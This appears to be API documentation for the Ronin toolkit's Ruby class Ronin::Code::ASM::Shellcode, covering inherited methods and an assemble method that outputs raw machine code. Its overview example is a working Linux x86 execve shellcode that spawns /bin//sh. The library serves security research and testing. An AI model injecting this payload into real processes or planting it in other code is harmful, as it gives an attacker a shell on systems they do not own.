Class: Ronin::Code::ASM::Shellcode

Inherits:
Program
  • Object
show all
Defined in:
lib/ronin/code/asm/shellcode.rb

Overview

Represents Shellcode. Shellcode is like an Assembly Program, but assembles into raw machine code which can be injected into a process.

ASM::Shellcode.new do
  xor   eax,  eax
  push  eax
  push  0x68732f2f
  push  0x6e69622f
  mov   ebx, esp
  push  eax
  push  ebx
  mov   ecx,  esp
  xor   edx,  edx
  mov   al,   0xb
  int   0x80
end

Constant Summary

Constants inherited from Program

Program::PARSERS, Program::SYNTAX

Instance Attribute Summary

Attributes inherited from Program

#allocated_registers, #arch, #instructions, #os, #registers, #syscalls, #word_size

Instance Method Summary collapse

Methods inherited from Program

#byte, #critical, #dword, #eval, #initialize, #instruction, #interrupt, #label, #method_missing, #qword, #register, #register?, #register_clear, #register_load, #register_save, #register_set, #stack_pop, #stack_push, #syscall, #to_asm, #to_s, #word

Constructor Details

This class inherits a constructor from Ronin::Code::ASM::Program

Dynamic Method Handling

This class handles dynamic methods through the method_missing method in the class Ronin::Code::ASM::Program

Instance Method Details

#assemble(output: nil, **kwargs) ⇒ String

Assembles the Shellcode.

Parameters:

  • output (String) (defaults to: nil)

    The optional output to write the shellcode to. If no :output is given a tempfile will be used.

  • kwargs (Hash{Symbol => Object})

    Additional keyword arguments for Program#assemble.

Returns:

  • (String)

    The raw object-code of the Shellcode.

See Also:



64
65
66
67
68
69
70
# File 'lib/ronin/code/asm/shellcode.rb', line 64

def assemble(output: nil, **kwargs)
  output ||= Tempfile.new(['ronin-shellcode', '.bin']).path

  super(output, format: :bin, **kwargs)

  return File.binread(output)
end